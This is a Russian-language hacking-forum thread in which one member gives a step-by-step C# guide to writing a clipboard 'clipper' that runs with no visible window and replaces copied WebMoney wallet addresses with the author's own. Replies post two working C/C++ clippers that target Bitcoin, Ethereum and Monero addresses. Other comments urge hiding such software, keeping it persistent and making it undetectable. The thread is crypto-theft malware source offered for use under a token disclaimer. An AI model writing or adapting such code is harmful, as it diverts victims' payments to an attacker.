• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

C# Клиппер

athlete

Участник
Сообщения
5
Реакции
3
0 руб.
Всем привет. В этом гайде напишем клиппер за 5 минут(может быть и меньше)
Строки которые я дописал буду отмечать // (комментарий)
Вся информация предоставляется исключительно в ознакомительных целях!
Я не рекомендую использовать ее в ущерб кому-либо.

Создадим проект .Net 2.0 Console Application и придумаем незамысловатое название
9jmpAX7eSo_HqUPhZnCpZg.png



Дальше заходим в свойства проекта и в "Тип выходных данных:" ставим Приложение Windows
y3gLk8gARVSL8gsrEW8GdQ.png


Теперь проблем со скрытием окна приложения не будут,переходим к кодингу.

Создадим статический метод start и добавим его в Main
Код:
  static void Main(string[] args)
       {
           start(); //
       }

       static void start() //
       {                     

       }
Создадим цикл while с условием true,чтобы выполнялся бесконечно.
Код:
       static void start()
       {
           while(true) //
           {

           }
       }
Создаем метод(не забываем про static) replace и вставим его в цикл while.
Код:
       static void start()
       {
           while(true)
           {
               replace(); //
           }
       }

       static void replace()
       {

       }
Также сделаем заддержку для работы этого цикла.
Подключим System.Threading и впишем Thread.Sleep(100); (в миллисекундах)
Код:
       static void start()
       {
           while(true)
           {
               Thread.Sleep(100); //
               replace();
           }
       }
Переходим уже к самой замене,для примера будет wmr кошелек
Создадим глобальную статическую переменную string с названием wmr
Код:
static string my_wmr = "R339005555555";
Переходим к методу replace
Подключим System.Windows.Forms для работы с буффером обмена
dXJELFAqSim1OtUGn2pS8Q.png


Чтобы не было проблем в дальнейшем нужно добавить такую строчку перед Main
Код:
[STAThread]
Код:
       [STAThread] //
       static void Main(string[] args)
       {
           start();
       }
Создадим условие если буффер не имеет данных(текстовых) или равен "", то метод возвращается(return);
Код:
       static void replace()
       {
           if (Clipboard.GetText() == null || Clipboard.GetText()=="") //
               return;
       }
Дальше задаем переменную которая будет равна буферу обмена
Код:
string buffer = Clipboard.GetText();
Код:
       static void replace()
       {
           if (Clipboard.GetText() == null || Clipboard.GetText()=="")
               return;

           string buffer = Clipboard.GetText(); //
       }
Теперь самое сложное.
Нужно сделать условие c проверкой буфера на наличие кошелька.
Создадим статический метод bool с названием checkwmr,с параметром string text и в конце дописываем return false;
Код:
       static bool checkwmr(string text)
       {

           return false;
       }
Создадим условие если первая буква равна R и количество символов равно 13 то возвращается true
Код:
       static bool checkwmr(string text)
       {
           if (text[0].ToString() == "R" && text.Length==13) //
               return true;

           return false;
       }
Возвращаемся обратно к replace.
Создаем условие если checkwmr с параметром buffer(буфер обмена) возвращает true и буфер не равен переменной my_wmr(наш кошелек),то происходит замена буфера обмена на переменную my_wmr(наш кошелек)
Код:
       static void replace()
       {
           if (Clipboard.GetText() == null || Clipboard.GetText()=="")
               return;

           string buffer = Clipboard.GetText(); //

           if (buffer != my_wmr && checkwmr(buffer)) //
           {
               Clipboard.SetText(my_wmr); // Замена
           }
       }
В принципе на этом все. Клиппер готов. Надеюсь все достаточно понятно.Про автозагрузку не говорил,так как лучше думаю этому лучше посвятить отдельную тему.

Тема рассчитана для новичков. Замечания приветствуются.

пароль: kaidoz
Исходники

Автор: Kaidoz
 

c0dpro

Местный
Сообщения
83
Реакции
91
0 руб.
Telegram
Please note, if you want to make a deal with this user, that it is blocked.
когда уже будет годнота на плюсах ? нах этот шарп стремный нужен
 

c0dpro

Местный
Сообщения
83
Реакции
91
0 руб.
Telegram
Please note, if you want to make a deal with this user, that it is blocked.
На плюсах давно уже всё есть в паблике, гуглить нужно уметь
а на шарпе как будто нет ? я умею гуглить и нехер тут умничать
а вот код на плюсах который писать 5 минут
Код:
#include <stdio.h>
#include <stdlib.h>

#include <Windows.h>

char* check_clipboard() {
    OpenClipboard(NULL);
    HANDLE handle = GetClipboardData(CF_TEXT);
    CloseClipboard();
    char* cb = (char*)handle;
    return cb;
}

void replace_clipboard(char* context) {
    if (OpenClipboard(FALSE))
    {
        EmptyClipboard();
        char* clip_data = GlobalAlloc(GMEM_FIXED, MAX_PATH);
        lstrcpy(clip_data, context);
        SetClipboardData(CF_TEXT, clip_data);
        LCID* lcid = GlobalAlloc(GMEM_FIXED, sizeof(DWORD));
        *lcid = MAKELCID(MAKELANGID(LANG_RUSSIAN, SUBLANG_NEUTRAL), SORT_DEFAULT);
        SetClipboardData(CF_LOCALE, lcid);
        CloseClipboard();
    }
}

BOOL basic_check(char* buffer, const char* allowed_pattern, BOOL xmr) {

    SIZE_T valid_count = 0;
    SIZE_T allowed_pattern_len = strlen(allowed_pattern);
    SIZE_T buffer_len = strlen(buffer);

    for (int i = 0; i < buffer_len; i++) {
        for (int j = 0; j < allowed_pattern_len; j++) {
            if (allowed_pattern[j] == buffer[i]) {
                ++valid_count;
            }
        }
    }
    if (valid_count == buffer_len)
        return 1;     else return 0;

}

int main() {
    const char* btc_pattern = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
    const char* eth_pattern = "0123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";

    while (1) {
        Sleep(1000);
        char* clipboard = check_clipboard();
        size_t buffer_size = strlen(clipboard);
        /* BTC */
        if (basic_check(clipboard, btc_pattern, 0) && buffer_size < 40 && buffer_size > 27) {
            printf("bitcoin address detected!\n");
 replace_clipboard("btc replace");
        }

        /* ETH */
        if (basic_check(clipboard, eth_pattern, 0) && clipboard[0] == '0' && clipboard[1] == 'x' && buffer_size < 50 && buffer_size > 37) {
            printf("eth address detected!\n");
            replace_clipboard("eth replace");
        }

        /* XMR */
        if (basic_check(clipboard, eth_pattern, 0) && buffer_size == 95) {
            printf("xmr address detected!\n");
 replace_clipboard("xmr replace");
        }


       
       
    }

}
это же изи а я просил годноту а не хуйню из гавна и палок
 

c0dpro

Местный
Сообщения
83
Реакции
91
0 руб.
Telegram
Please note, if you want to make a deal with this user, that it is blocked.
Плохо видимо гуглишь. Вот вполне не плохой клиппер, добавить других монет труда не составит
Код:
#define WINVER 0x0501
#define _WIN32_WINNT 0x0501
#define _WIN32_WINDOWS 0x0501
#define _WIN32_IE 0x0600
#include "stdafx.h"
 
#include <string>
 
#include <iostream>
using namespace std;
 
bool WalletCheck( TCHAR *lpWallet ) {
 
    size_t uLen = _tcslen( lpWallet );
    if( uLen < 27 || uLen > 34 ) {
        return false;
    }
 
    if( lpWallet[0] != '1' && lpWallet[1] != '3' ) {
        return false;
    }
 
    for( size_t i = 0; i < uLen; i++ ) {
 
        if( lpWallet[i] == '0' || lpWallet[i] == 'O' || lpWallet[i] == 'I' ) {
            return false;
        }
 
        if( !isalpha( lpWallet[i] ) && !isdigit( lpWallet[i] ) ) {
            return false;
        }
    }
    return true;
}
 
void ReplaceWallet()
{
    HANDLE hData;
 
    char szData[] = "YOURWALLET", *ptrData = NULL;
 
    int nStrLen = strlen(szData);
 
    hData = GlobalAlloc(GMEM_MOVEABLE | GMEM_DDESHARE, nStrLen + 1);
 
    ptrData = (char*)GlobalLock(hData);
 
    memcpy(ptrData, szData, nStrLen + 1);
 
    GlobalUnlock(hData);
 
    if (OpenClipboard(NULL))
    {
        EmptyClipboard();
 
        SetClipboardData(CF_TEXT, hData);
 
        CloseClipboard();
    }
}
int _tmain(int argc, _TCHAR* argv[])
{
    //
 
    for (;;)
    {
        int i;
 
        char *pchData;
 
        if (OpenClipboard(NULL))
        {
            HANDLE hClipboardData = GetClipboardData(CF_TEXT);
 
            if (hClipboardData)
            {
                pchData = (CHAR*) GlobalLock(hClipboardData);
 
                if (pchData)
                {
                    GlobalUnlock(hClipboardData);
 
 
 
 
                    if ( WalletCheck( (TCHAR *)pchData ))
                    {
                        ReplaceWallet();
                    }
                                       //else    cout << "error";
 
                }
            }
 
            CloseClipboard();
        }
 
        Sleep(1000);
    }
 
    return 0;
}
а выше кинул код который сам написал он и то удачней, ты хоть смотрел ? тут даже проверки на валид нет и тп !
 

c0dpro

Местный
Сообщения
83
Реакции
91
0 руб.
Telegram
Please note, if you want to make a deal with this user, that it is blocked.
А где в твоём коде проверка на валид скопированного адреса?
ее тоже нет, я написал на быструю руку чтоб показать тебе что это изи , а ти говорил что в паблике годнота ! но где она ?
 

random

grove street home

random

grove street home
Команда форума
Модератор
Сообщения
144
Реакции
341
0 руб.
Самое интересное в таких софтах не сам функционал, а то как их максимально спрятать и максимально на долго оставить в системе. На это и стоит делать упор имхо.
 
Сообщения
842
Реакции
2.008
0 руб.
Telegram
УУУУУ....шарп говно,ууууу....с++ сила.Что же блять с таким пиздатым языком все обновы всего софта на с++ выходят грязные как говно?Тот же шарп из паблика можно взять и почистить,и сделать его фуд,а вот с с++ хуй там,ибо это сложный язык.Только и слышно пиздежа,хоть бы один взял с++ из паблика,переделал и без всякого крипта выложил фуд,вот тогда можно было бы поговорить.А так,только одно фуууу..слышно.
 
Сверху Снизу